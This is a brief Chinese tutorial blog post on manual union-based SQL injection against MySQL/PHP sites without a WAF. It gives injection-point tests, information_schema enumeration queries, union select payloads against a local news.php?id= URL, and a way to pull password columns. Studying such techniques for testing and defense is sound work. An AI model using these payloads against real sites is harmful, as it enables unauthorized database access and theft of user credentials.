mysql+php在无waf情况下的手工注入

    我们在手工注入时,应该先去判断是什么类型的数据库,再去选择手工注入的方式

简介    

  mysql5.0以下版本无information_schema元数据库所以注入方式应该和access差不多,在mysql5.0以上的版本,有了information_schema数据库所以不需要去猜测表名和库名,可以直接在information_schema中去调用。

schemata:用于存放所有数据库的名

tables:用于存放所有数据库中数据表的名

columns:用于存放所有数据库中所有表中的字段名

查看a数据库中存放了哪些表

select table_schema(字段) from information_schema.tables(表) where table_schema="a";(字段)

查看b数据表中包含了哪些字段

select column_name (字段)from information_schema.columns(表) where table_name="b";(字段)

理解:其实这两个句子可以和select * from news where id =1做一个对比

注入点判断

开始判断注入点也是 and 1=1 and 1=2

联合查询

这个联合查询有别于access注入时的联合查询 ,union select 1,2,3,4,5,6 后面可以不用表名,access必须要

url:http://127.0.0.1/news.php?id=1 union select 1,2,3,4,5,6 (有时前面的值id=1时页面显示的正常值,我们需要报错才可以id=-1)

http://127.0.0.1/news.php?id=1 union select 1,2,3,4,5,6  在显位符user()当前用户名,version()数据库版本。database()数据库名

http://127.0.0.1/news.php?id=1 union select 1,table_name,3,4,5,6  from information_schema.tables(表) where table_schema="a"

有时候网站会只显示一个,但是表名有多个(group_concat())可以显示字段中的所有内容

当我们联合查询知道了字段名后就不需要调用information_schema这个数据库了直接从表里拿

unhex(hex(password))进行编码的转换(只要内容不要格式)

 

 

 

 

 

 

 

 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值